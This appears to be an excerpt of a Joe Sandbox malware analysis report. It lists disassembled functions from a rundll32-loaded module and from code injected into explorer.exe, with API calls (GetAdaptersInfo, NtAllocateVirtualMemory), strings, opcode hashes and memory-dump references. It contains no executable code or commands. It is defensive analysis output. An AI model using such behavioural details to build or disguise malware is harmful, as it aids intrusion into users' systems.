Associated: 00000006.00000002.3331172905.0000000180074000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331243879.0000000180077000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331287027.000000018007C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331335828.000000018007D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: NameName::snprintfswprintf
String ID: %lf
API String ID: 3974891382-2891890143
Opcode ID: 7fc1947d49ae169c503500e1267cacb441c981dc534258eb13393c19efbd0a35
Instruction ID: 1d1499fd28cd0defdd0e894b6a29d0ba661b97baa627992bc5e4fd3905ed2300
Opcode Fuzzy Hash: 7fc1947d49ae169c503500e1267cacb441c981dc534258eb13393c19efbd0a35
Instruction Fuzzy Hash: 1C01A221614B9840FB929B25B8013DBA361BF9A7C4F54C322BE5967B65DE2CC2578700

Function 0000000180011834 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

snprintf.LEGACY_STDIO_DEFINITIONS ref: 0000000180011863
swprintf.LEGACY_STDIO_DEFINITIONS ref: 0000000180011894
DName::DName.LIBVCRUNTIME ref: 00000001800118A2

Strings

%lf, xrefs: 0000000180011848, 000000018001187F

Memory Dump Source

Source File: 00000006.00000002.3330959887.0000000180001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.3330909360.0000000180000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331077235.000000018005F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331127970.0000000180073000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331172905.0000000180074000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331243879.0000000180077000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331287027.000000018007C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331335828.000000018007D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: NameName::snprintfswprintf
String ID: %lf
API String ID: 3974891382-2891890143
Opcode ID: 43343db7a5785d265fd779c02874dbd2acc63c014a2a9ae2f7173fd214bdd341
Instruction ID: e8046b89d42cedcdfa3f71cef9b3097e4d32cbc59f7538c484cb4a0ec4f8bfae
Opcode Fuzzy Hash: 43343db7a5785d265fd779c02874dbd2acc63c014a2a9ae2f7173fd214bdd341
Instruction Fuzzy Hash: 5AF08631614BD890FB569B25B8013DBA361BF997C4F54C321BE5957B65CE3CC2578700

Function 000001FF4B0A26B0 Relevance: 6.4, APIs: 5, Instructions: 132COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32 ref: 000001FF4B0A2707
SetLastError.KERNEL32 ref: 000001FF4B0A2746

Memory Dump Source

Source File: 00000006.00000002.3332368718.000001FF4B0A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001FF4B0A0000, based on PE: true

Associated: 00000006.00000002.3332368718.000001FF4B0E6000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1ff4b0a0000_rundll32.jbxd

Yara matches

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 50d4aa64397910f34370dcdd3f25db7b3cd1b44d2d627c561aa8e3d7ca6c4d4e
Instruction ID: a25e42b91df9d125d56c0d0429a068c227a1ca83c202503d3eae4a04a1f8034e
Opcode Fuzzy Hash: 50d4aa64397910f34370dcdd3f25db7b3cd1b44d2d627c561aa8e3d7ca6c4d4e
Instruction Fuzzy Hash: C5510A32619B4986DB64CB09E49436AB7A0FB9CB85F140939FB8E877A5DB7CC441CB04

Function 0000000180056664 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32(?,?,?,?,000000018001AF96,?,?,000000018001AF96,000000018001AF96,?,000000018001AF96,000000018001AF96,0000000180056604), ref: 0000000180056787
GetLastError.KERNEL32(?,?,?,?,000000018001AF96,?,?,000000018001AF96,000000018001AF96,?,000000018001AF96,000000018001AF96,0000000180056604), ref: 0000000180056811

Memory Dump Source

Source File: 00000006.00000002.3330959887.0000000180001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.3330909360.0000000180000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331077235.000000018005F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331127970.0000000180073000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331172905.0000000180074000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331243879.0000000180077000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331287027.000000018007C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331335828.000000018007D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: b2a80129a009847c2ce996616dbbe413a05851c68b0ba3fa64774bcca3876923
Instruction ID: 1260cb0f68ca8a8ce6bcd19fd34b1b076e826746dc0d6dce6279d08af0310b67
Opcode Fuzzy Hash: b2a80129a009847c2ce996616dbbe413a05851c68b0ba3fa64774bcca3876923
Instruction Fuzzy Hash: E991E472F14A5885FBA2CB6594407ED2BA4F34CBD8F448205FE4A776A5CF36C68AC710

Function 0000000180014FCC Relevance: 6.2, APIs: 4, Instructions: 193COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00000001800177FC: DName::operator+.LIBVCRUNTIME ref: 000000018001788D
Part of subcall function 00000001800177FC: DName::operator+.LIBVCRUNTIME ref: 00000001800178C6
Part of subcall function 00000001800177FC: DName::operator+.LIBVCRUNTIME ref: 0000000180017BF1

DName::operator+.LIBVCRUNTIME ref: 0000000180015127
DName::operator+.LIBVCRUNTIME ref: 0000000180015186
DName::operator+.LIBVCRUNTIME ref: 00000001800151B8
DName::operator+.LIBVCRUNTIME ref: 00000001800151C8

Memory Dump Source

Source File: 00000006.00000002.3330959887.0000000180001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.3330909360.0000000180000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331077235.000000018005F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331127970.0000000180073000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331172905.0000000180074000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331243879.0000000180077000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331287027.000000018007C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331335828.000000018007D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: Name::operator+
String ID:
API String ID: 2943138195-0
Opcode ID: 833d5f12b3745b43fcb298177fc6e3fb40fcfb7b31867bf43b28185f1c8aef01
Instruction ID: be38e034833b563642ed2c4684e659858a25fcc5f3f681f84aaac44cdb52407b
Opcode Fuzzy Hash: 833d5f12b3745b43fcb298177fc6e3fb40fcfb7b31867bf43b28185f1c8aef01
Instruction Fuzzy Hash: 8D915D77A00B98C9FB938BA4D8403DC37B1B30D789F65C015EE892B695DF798A49C741

Function 0000000273F41010 Relevance: 6.1, APIs: 4, Instructions: 107sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32 ref: 0000000273F41055
_amsg_exit.MSVCRT ref: 0000000273F4107F

Memory Dump Source

Source File: 00000006.00000002.3331451655.0000000273F41000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000273F40000, based on PE: true

Associated: 00000006.00000002.3331409929.0000000273F40000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3331451655.0000000273F85000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_273f40000_rundll32.jbxd

Similarity

API ID: Sleep_amsg_exit
String ID:
API String ID: 1015461914-0
Opcode ID: 1aa7096d3279892f89bb6938d1e8f798873b932fab0900364294d29769eafb3e
Instruction ID: b36ed253b1f92ff08f278adfa0ead6049e2a2874eebc081211355efa6209b103
Opcode Fuzzy Hash: 1aa7096d3279892f89bb6938d1e8f798873b932fab0900364294d29769eafb3e
Instruction Fuzzy Hash: 08417C31E0CA4885F765DB1AEC497AA2395B784BE4F744025DE0C87FA1EE28CA40B343

Function 0000000180017CB4 Relevance: 6.1, APIs: 4, Instructions: 87COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 000000018001994C: Replicator::operator[].LIBVCRUNTIME ref: 00000001800199A6

Part of subcall function 00000001800177FC: DName::operator+.LIBVCRUNTIME ref: 000000018001788D
Part of subcall function 00000001800177FC: DName::operator+.LIBVCRUNTIME ref: 00000001800178C6
Part of subcall function 00000001800177FC: DName::operator+.LIBVCRUNTIME ref: 0000000180017BF1

DName::operator+.LIBVCRUNTIME ref: 0000000180017D34
DName::operator+.LIBVCRUNTIME ref: 0000000180017D43
DName::operator+.LIBVCRUNTIME ref: 0000000180017DC0
DName::operator+.LIBVCRUNTIME ref: 0000000180017DCF

Memory Dump Source

Source File: 00000006.00000002.3330959887.0000000180001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.3330909360.0000000180000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331077235.000000018005F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331127970.0000000180073000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331172905.0000000180074000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331243879.0000000180077000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331287027.000000018007C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331335828.000000018007D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: Name::operator+$Replicator::operator[]
String ID:
API String ID: 3863519203-0
Opcode ID: ab40c895ed32f951a42b94f9895b2f8f6206b0eb416bcb5b27eecb077ca5f57b
Instruction ID: 4055e878f64a0d4d9d529e2badb35a1d8728a1b9fc24d6f266f1b5ddb2a3fbf8
Opcode Fuzzy Hash: ab40c895ed32f951a42b94f9895b2f8f6206b0eb416bcb5b27eecb077ca5f57b
Instruction Fuzzy Hash: 4A412576A00B8899EB42CFA4E8403EC37B0F748B98F64C415EE495B79ADF78C649C750

Function 000000018000DD24 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 163COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000000018000DD4E

Strings

csm, xrefs: 000000018000DEE2
csm, xrefs: 000000018000DD73

Memory Dump Source

Source File: 00000006.00000002.3330959887.0000000180001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.3330909360.0000000180000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331077235.000000018005F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331127970.0000000180073000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331172905.0000000180074000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331243879.0000000180077000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331287027.000000018007C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331335828.000000018007D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: __except_validate_context_record
String ID: csm$csm
API String ID: 1467352782-3733052814
Opcode ID: 1f78ce30d5d3abf011c49c12d0b77ceb6a2fa33deb273aa3e414b84e124295c9
Instruction ID: 9c4d39e4c652f3945ef35df7601ed0ac793b78f7d53c8ab04d9db08b0d63a189
Opcode Fuzzy Hash: 1f78ce30d5d3abf011c49c12d0b77ceb6a2fa33deb273aa3e414b84e124295c9
Instruction Fuzzy Hash: B27191721046888ADBA2DF25D4507ADBBA0F348BC9F14C126FB8947B89CF38C699C751

Function 000000018000A630 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 154COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000000018000A65B
RtlUnwindEx.KERNEL32 ref: 000000018000A74C

Strings

csm, xrefs: 000000018000A6D9

Memory Dump Source

Source File: 00000006.00000002.3330959887.0000000180001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.3330909360.0000000180000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331077235.000000018005F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331127970.0000000180073000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331172905.0000000180074000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331243879.0000000180077000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331287027.000000018007C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331335828.000000018007D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: Unwind__except_validate_context_record
String ID: csm
API String ID: 2208346422-1018135373
Opcode ID: 41b12dda0e093764b089897d1ff21e540db28dc560569149afab03f8e9fdc7c2
Instruction ID: 2672bec40da291ce11c6250c0dad722d8f4cfd31cfcba8b085e74eb73a93bdbb
Opcode Fuzzy Hash: 41b12dda0e093764b089897d1ff21e540db28dc560569149afab03f8e9fdc7c2
Instruction Fuzzy Hash: FC51F7323196088AFB96CF15E844BAD33A5F749BC8F50C121FA4A47789EF79CA49C700

Function 0000000180044C2C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 134COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 0000000180044DD0

Strings

., xrefs: 0000000180044C67
_.,, xrefs: 0000000180044D49

Memory Dump Source

Source File: 00000006.00000002.3330959887.0000000180001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.3330909360.0000000180000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331077235.000000018005F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331127970.0000000180073000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331172905.0000000180074000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331243879.0000000180077000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331287027.000000018007C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331335828.000000018007D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: .$_.,
API String ID: 3215553584-3384562259
Opcode ID: c5e31342db8f2559d412056efb8cb4ce2ddbaaf83501e9c59faeafa9e2557006
Instruction ID: 86f15d9f2fdf1f05cb57339bd986fd197501509ab2478ee385be308a635b250d
Opcode Fuzzy Hash: c5e31342db8f2559d412056efb8cb4ce2ddbaaf83501e9c59faeafa9e2557006
Instruction Fuzzy Hash: 9B41E277A10A4885FBF28A2594C17E92290E78CBE8F57C611FA550B6C5DF74CB8D8708

Function 000000018000E744 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 117COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000000018000E7EE
_CreateFrameInfo.LIBVCRUNTIME ref: 000000018000E81A

Strings

csm, xrefs: 000000018000E91A

Memory Dump Source

Source File: 00000006.00000002.3330959887.0000000180001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.3330909360.0000000180000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331077235.000000018005F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331127970.0000000180073000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331172905.0000000180074000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331243879.0000000180077000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331287027.000000018007C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331335828.000000018007D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: CreateFrameInfo__except_validate_context_record
String ID: csm
API String ID: 2558813199-1018135373
Opcode ID: 3012941d225893ff0a1596aed794f60caa97295d49179766bd7cee36fad85c83
Instruction ID: 98e23b6382448741e885f2483867041e669b118fd1c307fb1a3f8b737a70bd12
Opcode Fuzzy Hash: 3012941d225893ff0a1596aed794f60caa97295d49179766bd7cee36fad85c83
Instruction Fuzzy Hash: 37513C7321578886E6A1EF15E4403AE77A4F38DBE0F148125FB8947B96DF38C565CB00

Function 000000018004CAF0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

memcpy_s.LIBCPMT ref: 000000018004CB68
memcpy_s.LIBCPMT ref: 000000018004CBB6

Strings

s, xrefs: 000000018004CB98

Memory Dump Source

Source File: 00000006.00000002.3330959887.0000000180001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.3330909360.0000000180000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331077235.000000018005F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331127970.0000000180073000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331172905.0000000180074000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331243879.0000000180077000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331287027.000000018007C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331335828.000000018007D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: memcpy_s
String ID: s
API String ID: 1502251526-453955339
Opcode ID: d69b12cfc8f0d4f7e4e881a0439bac03a6efd0e78ae662d86089a4382a233e0c
Instruction ID: 8ceb7f17a8548fb968498d81ab2351303633656c3688867a1d3cd218ddfc299c
Opcode Fuzzy Hash: d69b12cfc8f0d4f7e4e881a0439bac03a6efd0e78ae662d86089a4382a233e0c
Instruction Fuzzy Hash: 43411332304A4887E3EA8F15E495FED7791F39878CF028116DE0957B81CB38CA4ACB49

Function 0000000180014EB8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 68COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBVCRUNTIME ref: 0000000180014FB6

Strings

void , xrefs: 0000000180014F40
void, xrefs: 0000000180014F18

Memory Dump Source

Source File: 00000006.00000002.3330959887.0000000180001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.3330909360.0000000180000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331077235.000000018005F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331127970.0000000180073000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331172905.0000000180074000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331243879.0000000180077000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331287027.000000018007C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331335828.000000018007D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: Name::operator+
String ID: void$void
API String ID: 2943138195-3746155364
Opcode ID: ddeb0843d538297d14c0c0f86e427d1c8d1caa5713f6d320f941b1835034666f
Instruction ID: 9e6cfc430d5bfee4d664579300960906288245c07229e058c69c646796c75a2c
Opcode Fuzzy Hash: ddeb0843d538297d14c0c0f86e427d1c8d1caa5713f6d320f941b1835034666f
Instruction Fuzzy Hash: A6311D76A10B58D8FB52CBA4E8403EC37B0B74C788F54852AEE4A67B55DF388259C750

Function 000000018001037C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32 ref: 00000001800103CC
RaiseException.KERNEL32 ref: 000000018001040D

Strings

csm, xrefs: 00000001800103FA

Memory Dump Source

Source File: 00000006.00000002.3330959887.0000000180001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.3330909360.0000000180000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331077235.000000018005F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331127970.0000000180073000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331172905.0000000180074000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331243879.0000000180077000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331287027.000000018007C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331335828.000000018007D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: f9df25044fb1202a836735dffd389a5b3e506e3fb2604136da670c11918c1c4a
Instruction ID: 75816c31b48d4b3f6ac9eaf605c0ba6bcc738f1132b3e0c24f52f264a28ed543
Opcode Fuzzy Hash: f9df25044fb1202a836735dffd389a5b3e506e3fb2604136da670c11918c1c4a
Instruction Fuzzy Hash: B811FB32214B4482EBA28B15E44039A77E5F78CBD8F688225EADD07759DF7DC655CB00

Function 000000018000FCAC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 27libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 000000018000FCBD
GetLastError.KERNEL32 ref: 000000018000FCC8

Strings

api-ms-, xrefs: 000000018000FCDA

Memory Dump Source

Source File: 00000006.00000002.3330959887.0000000180001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.3330909360.0000000180000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331077235.000000018005F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331127970.0000000180073000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331172905.0000000180074000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331243879.0000000180077000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331287027.000000018007C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331335828.000000018007D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: ErrorLastLibraryLoad
String ID: api-ms-
API String ID: 3568775529-2084034818
Opcode ID: 3ce1118a3d68641cf7bcb52c8cfbeb9de588c640064439e36528d49136769137
Instruction ID: d49a7e86271a456fbcda335a6394c0a77c9d8b30d4fb553590f1245fc1ea6585
Opcode Fuzzy Hash: 3ce1118a3d68641cf7bcb52c8cfbeb9de588c640064439e36528d49136769137
Instruction Fuzzy Hash: 88F0653171150C82FBF69B6658457F622929B4DBD0F58D830FE0546791EE2D878E8700

Function 000001FF4B0A1C80 Relevance: 5.2, APIs: 4, Instructions: 177COMMON

Download Yara Rule

APIs

IsBadReadPtr.KERNEL32 ref: 000001FF4B0A1D0E
SetLastError.KERNEL32 ref: 000001FF4B0A1D6A

Memory Dump Source

Source File: 00000006.00000002.3332368718.000001FF4B0A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001FF4B0A0000, based on PE: true

Associated: 00000006.00000002.3332368718.000001FF4B0E6000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1ff4b0a0000_rundll32.jbxd

Yara matches

Similarity

API ID: ErrorLastRead
String ID:
API String ID: 4100373531-0
Opcode ID: 5e3dd03f4e36ac629c9e35720315601d05ef0c3755c38ff15dc0a5ec62299b24
Instruction ID: 6335f2db976b91a2273927bd39dbc1689edf003861b3a897d5821b2fb13e55c5
Opcode Fuzzy Hash: 5e3dd03f4e36ac629c9e35720315601d05ef0c3755c38ff15dc0a5ec62299b24
Instruction Fuzzy Hash: 4191CA36219B8886DB60CB0AE49036AB7A0F7CDB95F544525EB8E83769DF7CC455CB00

Analysis Process: explorer.exePID: 1028, Parent PID: 5880COMMON

Execution Graph

Execution Coverage:	11.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	1.3%
Total number of Nodes:	871
Total number of Limit Nodes:	11

Executed Functions

Function 03058424 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 202
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0305B388: NtAllocateVirtualMemory.NTDLL ref: 0305B3BE

GetAdaptersInfo.IPHLPAPI ref: 03058470
GetAdaptersInfo.IPHLPAPI ref: 030584A7
wsprintfA.USER32 ref: 030584F0
wsprintfA.USER32 ref: 030585DB
wsprintfA.USER32 ref: 0305863F

Strings

o, xrefs: 03058482

Memory Dump Source

Source File: 00000008.00000002.3332728030.0000000003050000.00000040.00000001.00020000.00000000.sdmp, Offset: 03050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_3050000_explorer.jbxd

Similarity

API ID: wsprintf$AdaptersInfo$AllocateMemoryVirtual
String ID: o
API String ID: 2074107575-252678980
Opcode ID: 74334035a4c2000bc66b90e9c9b675ea5675b32aeaf99ff9f650a8c8c6a1f5dc
Instruction ID: ae3974ad7e363a4276b6dee5088b009c394f24022a855e94f709c924305512d6
Opcode Fuzzy Hash: 74334035a4c2000bc66b90e9c9b675ea5675b32aeaf99ff9f650a8c8c6a1f5dc
Instruction Fuzzy Hash: 1FA1A77620AB848ADB60CB15E49036BB7A4F788784F444525FE8E83B69EF7CC654CF44

Function 03057274 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetAdaptersInfo.IPHLPAPI ref: 0305729C

Part of subcall function 0305B388: NtAllocateVirtualMemory.NTDLL ref: 0305B3BE

GetAdaptersInfo.IPHLPAPI ref: 030572C7

Strings

o, xrefs: 030572A6

Memory Dump Source

Source File: 00000008.00000002.3332728030.0000000003050000.00000040.00000001.00020000.00000000.sdmp, Offset: 03050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_3050000_explorer.jbxd

Similarity

API ID: AdaptersInfo$AllocateMemoryVirtual
String ID: o
API String ID: 2718687846-252678980
Opcode ID: 7f42663b622c32a3db8ec0ccf10743740cf63e3247e40a922d1c01b602dc0a8d
Instruction ID: 4a238ca3a3d571ee233ce19bd2fb95e593e9af9681406d87dd34b54031fe3d24
Opcode Fuzzy Hash: 7f42663b622c32a3db8ec0ccf10743740cf63e3247e40a922d1c01b602dc0a8d
Instruction Fuzzy Hash: 9101B37660AB4486DB70DB15E49435EB7A0F3C8BA8F480265FA8D47B28DB7CC685CF04

Function 0305A8E0 Relevance: 4.6, APIs: 3, Instructions: 67
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000008.00000002.3332728030.0000000003050000.00000040.00000001.00020000.00000000.sdmp, Offset: 03050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_3050000_explorer.jbxd

Similarity

API ID: DirectorySystem
String ID:
API String ID: 2188284642-0
Opcode ID: ba65162137a8887c46524e037aee2d8e48247b8fd7d5144eb10fde51ea88d61c
Instruction ID: f05534c3a5404166811efa79761d3442754b24a7cbf4e342d5fc8b02e821d1ef
Opcode Fuzzy Hash: ba65162137a8887c46524e037aee2d8e48247b8fd7d5144eb10fde51ea88d61c
